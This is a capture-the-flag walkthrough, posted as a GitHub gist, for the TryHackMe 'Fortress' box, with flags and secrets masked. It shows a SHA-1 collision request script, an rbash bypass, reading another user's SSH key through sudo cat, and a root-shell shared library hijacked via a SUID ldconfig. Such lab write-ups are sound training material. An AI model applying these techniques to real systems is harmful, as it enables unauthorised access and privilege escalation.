Skip to content

Instantly share code, notes, and snippets.

@Tandrial
Last active September 11, 2021 09:18
Show Gist options
  • Save Tandrial/2d4029e02becd5fa3401b090a092202b to your computer and use it in GitHub Desktop.
Save Tandrial/2d4029e02becd5fa3401b090a092202b to your computer and use it in GitHub Desktop.
WriteUps for THM/HTB boxes

TryHackMe - Fortress [HARD][MEDIUM]

Fortress is a Linux based Box on TryHackMe. Due to unintended issues with the configuration of the box the difficulty was decreased from HARD to MEDIUM, see Unintended Ways for some methods to get root on the box.

The description of the box suggests to add two hosts:

10.10.222.252   fortress
10.10.222.252   temple.fortress

Recon

namp is used with -sV -p- fortress to enumerate the ports on the box

Not shown: 65531 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
5581/tcp open  ftp     vsftpd 3.0.3
5752/tcp open  unknown
7331/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

Exploitation

FTP

Running nmap with -sC -p 5581 fortress shows that anonymous login is allowed:

5581/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 ftp      ftp           305 Jul 25 20:06 marked.txt
|_End of status

loggin in as the user anonymous shows 2 files which can be downloaded:

$ ftp fortress 5581
Connected to fortress.
220 (vsFTPd 3.0.3)
Name (fortress:tan): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Jul 25 20:06 .
drwxr-xr-x    2 ftp      ftp          4096 Jul 25 20:06 ..
-rw-r--r--    1 ftp      ftp          1255 Jul 25 20:06 .file
-rw-r--r--    1 ftp      ftp           305 Jul 25 20:06 marked.txt
226 Directory send OK.

marked.txt is flavor text for the box. .file is much more interesting, running file on it identifies it as python 2.7 byte-compiled. Python's bytecode can usually be easily decompilied into python, for example with uncompyle2

#Embedded file name: ../backdoor/backdoor.py
import socket
import subprocess
from Crypto.Util.number import bytes_to_long
usern = 2XXXXXXXXXXXX17036154994L
passw = 1XXXXXXXXXXXX2308261529XXXXXXXXXXXX831532648XXXXXXXXXXXXL
port = 5752
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', port))
s.listen(10)

def secret():
    with open('secret.txt', 'r') as f:
        reveal = f.read()
        return reveal


while True:
    try:
        conn, addr = s.accept()
        conn.send('\n\tChapter 1: A Call for help\n\n')
        conn.send('Username: ')
        username = conn.recv(1024).decode('utf-8').strip()
        username = bytes(username, 'utf-8')
        conn.send('Password: ')
        password = conn.recv(1024).decode('utf-8').strip()
        password = bytes(password, 'utf-8')
        if bytes_to_long(username) == usern and bytes_to_long(password) == passw:
            directory = bytes(secret(), 'utf-8')
            conn.send(directory)
            conn.close()
        else:
            conn.send('Errr... Authentication failed\n\n')
            conn.close()
    except:
        continue

The script contains an encoded username and password for the service running on port 5752. The encoding can be reversed by calling Crypto.Util.number.long_to_bytes on the numbers from the script:

from Crypto.Util.number import long_to_bytes
print(long_to_bytes(2XXXXXXXXXXXX17036154994))
#b'YYYY-YYYYY'
print(long_to_bytes(1XXXXXXXXXXXX2308261529XXXXXXXXXXXX831532648XXXXXXXXXXXX))
#b'XXXXX_XXXXX_XXX_XXX_XX'

Service Port 5752

Connecting to the service on Port 5752 via telnet and providing the credentials from the python scripts returns the string XXXXXX_XX_XXXX_XXXX

$ telnet fortress 5752
Trying 10.10.136.205...
Connected to fortress.
Escape character is '^]'.

        Chapter 1: A Call for help

Username: YYYY-YYYYY
Password: XXXXX_XXXXX_XXX_XXX_XX
XXXXXX_XX_XXXX_XXXX
Connection closed by foreign host.

HTTP

Using the string returned from the service running on port 5752 to fuzz the webserver, running on port 7331 returns two interesting pages. But first the string was used to create a custom wordlist for gobuster: echo "XXXXXX_XX_XXXX_XXXX" >> raft-small-words.txt

$ gobuster dir -u http://fortress:7331/ -w raft-small-words.txt -x php,html -b 404,403
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://fortress:7331/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                raft-small-words.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,html
[+] Timeout:                 10s
===============================================================
2021/09/06 16:45:47 Starting gobuster in directory enumeration mode
===============================================================
/XXXXXX_XX_XXXX_XXXX.php (Status: 200) [Size: 629]
/XXXXXX_XX_XXXX_XXXX.html (Status: 200) [Size: 1477]
/index.html           (Status: 200) [Size: 10918]
/private.php          (Status: 200) [Size: 0]
/assets               (Status: 301) [Size: 312] [--> http://fortress:7331/assets/]
/.                    (Status: 200) [Size: 10918]
===============================================================
2021/09/06 16:53:12 Finished
===============================================================

/XXXXXX_XX_XXXX_XXXX.php

<html>
<head>
    <title>Chapter 2</title>
    <link rel='stylesheet' href='assets/style.css' type='text/css'>
</head>
<body>
    <div id="container">
        <video width=100% height=100% autoplay>
            <source src="./assets/flag_hint.mp4" type=video/mp4>
        </video>


<!-- Hmm are we there yet?? May be we just need to connect the dots -->

<!--    <center>
            <form id="login" method="GET">
                <input type="text" required name="user" placeholder="Username"/><br/>
                <input type="text" required name="pass" placeholder="Password" /><br/>
                <input type="submit"/>
            </form>
        </center>
-->

    </div>

</body>
</html>

/XXXXXX_XX_XXXX_XXXX.html

<html>
<head>
    <title>Chapter 2</title>
    <link rel='stylesheet' href='assets/style.css' type='text/css'>
</head>
<body>
    <div id="container">
        <center><h1>
            The Temple of Sins
        </h1></center>

        <center>
            <img src="./assets/guardians.png" width="700px" height="400px">
        </center>


<!--
<?php
require 'private.php';
$badchar = '000000';
if (isset($_GET['user']) and isset($_GET['pass'])) {
    $test1 = (string)$_GET['user'];
    $test2 = (string)$_GET['pass'];

    $hex1 = bin2hex($test1);
    $hex2 = bin2hex($test2);


    if ($test1 == $test2) {
        print 'You can't cross the gates of the temple, GO AWAY!!.';
    }

    else if(strlen($test2) <= 500 and strlen($test1) <= 600){
        print "<pre>Nah, babe that ain't gonna work</pre>";
    }

    else if( strpos( $hex1, $badchar ) or strpos( $hex2, $badchar )){
        print '<pre>I feel pitty for you</pre>';
    }

    else if (sha1($test1) === sha1($test2)) {
      print "<pre>'Private Spot: '$spot</pre>";
    }

    else {
        print '<center>Invalid password.</center>';
    }
}
?>
-->

<!-- Don't believe what you see... This is not the actual door to the temple. -->
        <center>
            <form id="login" method="GET">
                <input type="text" required name="user" placeholder="Username"/><br/>
                <input type="text" required name="pass" placeholder="Password" /><br/>
                <input type="submit"/>
            </form>
        </center>

    </div>

</body>
</html>

The goal is the else if-branch with print "<pre>'Private Spot: '$spot</pre>";, for that we need to create a SHA1 collision. Luckily there are two available:

Since GET requests have a max length the attack was done with messageA and messageB downloaded from the SHA-1 is a Shambles website. In order for the messages being transmitted correctly they were URL-encoded with the following script:

#!/usr/bin/env python3
import requests
import urllib

with open('messageA', 'rb') as f:
    name=urllib.parse.quote_plus(f.read())

with open('messageB', 'rb') as f:
    password=urllib.parse.quote_plus(f.read())

resp = requests.get(f'http://fortress:7331/XXXXXX_XX_XXXX_XXXX.php?user={name}&pass={password}',
                    headers = {'Host': 'fortress:7331'})
print(resp.text)

The server returns the following, pointing to another site on the webserver:

<pre>'The guards are in a fight with each other...
Quickly retrieve the key and leave the temple: 'XXXX_XXX_XXXXX.txt</pre>

/XXXX_XXX_XXXXX.txt

"The Temple guards won't betray us, but I fear of their foolishness that will take them down someday.
I am leaving my private key here for you j4x0n. Prepare the fort, before the enemy arrives"
												- h4rdy

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
<snip>
8aBV2g1DdSMuSzAAAADmo0eDBuQDB2ZXJmbGF3AQIDBA==
-----END OPENSSH PRIVATE KEY-----

SSH - h4rdy

After saving the private key as h4rdy.priv, its possible to just logon to the server as the user h4rdy:

$ ssh h4rdy@fortress -i h4rdy.priv
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-210-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

UA Infra: Extended Security Maintenance (ESM) is not enabled.

0 updates can be applied immediately.

39 additional security updates can be applied with UA Infra: ESM
Learn more about enabling UA Infra: ESM service for Ubuntu 16.04 at
https://ubuntu.com/16-04

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Mon Jul 26 14:04:41 2021 from 192.168.150.128
h4rdy@fortress:~$ ls
-rbash: /usr/lib/command-not-found:

As it turns out the user is running rbash, which is a pretty restricted shell. However it is trivially bypassed, for example by not specifying a profile:

$ ssh h4rdy@fortress -i h4rdy.priv -t 'bash --noprofile'
h4rdy@fortress:~$ sudo -l
Command 'sudo' is available in the following places
 * /usr/bin/sudo
 * /usr/local/bin/sudo
The command could not be located because '/usr/bin:/usr/local/bin' is not included in the PATH environment variable.
sudo: command not found
h4rdy@fortress:~$ /usr/bin/sudo -l
Matching Defaults entries for h4rdy on fortress:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User h4rdy may run the following commands on fortress:
    (j4x0n) NOPASSWD: /bin/cat

The user h4rdy is allowed to run /bin/cat as the user j4x0n, which makes it easy to get the private key and pivot to that user:

h4rdy@fortress:~$ /usr/bin/sudo -u j4x0n /bin/cat /home/j4x0n/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
<snip>
k8ToMpypFXDO0AAAAOajR4MG5AMHZlcmZsYXcBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

SSH - j4x0n

$ ssh j4x0n@fortress -i j4x0n.priv
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-210-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

UA Infra: Extended Security Maintenance (ESM) is not enabled.

0 updates can be applied immediately.

39 additional security updates can be applied with UA Infra: ESM
Learn more about enabling UA Infra: ESM service for Ubuntu 16.04 at
https://ubuntu.com/16-04

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Mon Jul 26 15:21:48 2021 from 192.168.150.128
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

j4x0n@fortress:~$ ls
endgame.txt  user.txt

The file endgame.txt contains more flavor-text and in user.txt is the first flag:

j4x0n@fortress:~$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

PrivEsc

Enumerating the server with either linPEAS.sh or manually turns up some interesting files with the SUID-Bit set:

j4x0n@fortress:~$ find / -perm -4000 2>/dev/null
/usr/local/bin/sudo
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/at
/opt/bt                 <<<
/bin/ping6
/bin/umount
/bin/ping
/bin/mount
/bin/su
/bin/fusermount
/sbin/ldconfig.real     <<<

/opt/bt is a trap, which (if not killed) fills the terminal with garbage:

j4x0n@fortress:/tmp$ /opt/bt
Root Shell Initialized...
Exploiting kernel at super illuminal speeds...
Getting Root...
Bwahaha, You just stepped into a booby trap XP
^C

Analysis of the file shows, that a custom library libfoo.so is used, which has a function called foo:

j4x0n@fortress:~$ ldd /opt/bt
        linux-vdso.so.1 =>  (0x00007fff43b04000)
        libfoo.so => /usr/lib/libfoo.so (0x00007f94f66a1000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f94f60c4000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f94f648e000)
j4x0n@fortress:~$ objdump -T /usr/lib/libfoo.so

/usr/lib/libfoo.so:     file format elf64-x86-64

DYNAMIC SYMBOL TABLE:
0000000000000000  w   D  *UND*  0000000000000000              _ITM_deregisterTMCloneTable
0000000000000000      DF *UND*  0000000000000000  GLIBC_2.2.5 puts
0000000000000000      DF *UND*  0000000000000000  GLIBC_2.2.5 system
0000000000000000  w   D  *UND*  0000000000000000              __gmon_start__
0000000000000000  w   D  *UND*  0000000000000000              _ITM_registerTMCloneTable
0000000000000000      DF *UND*  0000000000000000  GLIBC_2.2.5 sleep
0000000000000000  w   DF *UND*  0000000000000000  GLIBC_2.2.5 __cxa_finalize
0000000000001125 g    DF .text  0000000000000059  Base        foo

The other interesting program is /sbin/ldconfig.real, which is a tool that can change which dynamically linked libraries are used. Running this tool with the SUID-Bit set is a huge problem, because it makes it possible to modify the linked libraries of ALL programs. (See Linux Privilege Escalation: Abusing shared libraries for more info).

To correctly recreate the libfoo.so library, the new one needs to contain a function foo(), which will be called from the program using the library. The new function simply spawns a new shell with uid=0 and gid=0:

#include <stdlib.h>
#include <unistd.h>

int foo() {
  setuid(0);
  setgid(0);
  system("/bin/bash");
  return 0;
}

Compiling the library with gcc -fPIC -shared -o /tmp/libfoo.so libfoo.c, results in a library the can be used to replace the old on. For that a config file is passed to ldconfig:

j4x0n@fortress:/tmp$ echo "/tmp" > fake.ld.so.conf
j4x0n@fortress:/tmp$ /sbin/ldconfig.real -f fake.ld.so.conf

Checking again with ldd /opt/bt confirms, that the new libfoo.so is used:

j4x0n@fortress:/tmp$ ldd /opt/bt
        linux-vdso.so.1 =>  (0x00007ffdd8dbd000)
        libfoo.so => /tmp/libfoo.so (0x00007f19d7600000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19d7236000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f19d7802000)

Afterwards running /opt/bt results in the trap no longer being triggered, but instead a root-shell being spawned:

j4x0n@fortress:/tmp$ /opt/bt
Root Shell Initialized...
Exploiting kernel at super illuminal speeds...
Getting Root...
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@fortress:/root# ls
init.sh  note.txt  root.txt

note.txt is again more flavor-text and root.txt contains the final flag:

root@fortress:/root# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Unintended Ways

As initial stated the author made some mistakes in the setup with the box:

  • The file /usr/lib/libfoo.so is writable by the user j4x0n.

      j4x0n@fortress:~$ ls -la /usr/lib/libfoo.so
      -rwxrwxr-x 1 j4x0n j4x0n 16080 Jul 26 12:54 /usr/lib/libfoo.so
    

    With that it's possible to simply overwrite the old libfoo.so with the new one:

      j4x0n@fortress:~$ cp /tmp/libfoo.so /usr/lib/libfoo.so
      j4x0n@fortress:/tmp$ /opt/bt
      Root Shell Initialized...
      Exploiting kernel at super illuminal speeds...
      Getting Root...
      To run a command as administrator (user "root"), use "sudo <command>".
      See "man sudo_root" for details.
    
      root@fortress:/root#
    
  • /sbin/ldconfig.real in verbose mode outputs the contents of the config file, if there is an error. Passing the root-flag results in it being printed to stderr:

      j4x0n@fortress:~$ /sbin/ldconfig.real -f /root/root.txt -v
      /sbin/ldconfig.real: Can't stat XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX: No such file or directory
      /lib/x86_64-linux-gnu:
          liblvm2app.so.2.2 -> liblvm2app.so.2.2
          libsepol.so.1 -> libsepol.so.1
          libwrap.so.0 -> libwrap.so.0.7.6
          libutil.so.1 -> libutil-2.23.so
          libSegFault.so -> libSegFault.so
          <snip>
    
  • The author also forgot to remove the /data folder, which was used to setup and configure the box and contains, among other things both flags:

      j4x0n@fortress:~$ grep -r -A 6 "flags" /data
      grep: /data/ssh/id_rsa_hardy: Permission denied
      grep: /data/ssh/id_rsa_j4x0n: Permission denied
      /data/setup.sh:## Writing flags
      /data/setup.sh-
      /data/setup.sh-sudo bash -c 'echo "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" > /home/j4x0n/user.txt'
      /data/setup.sh-sudo chown j4x0n:j4x0n /home/j4x0n/user.txt
      /data/setup.sh-
      /data/setup.sh-sudo bash -c 'echo "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" > /root/root.txt'
      /data/setup.sh-sudo chown root:root /root/root.txt
    
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment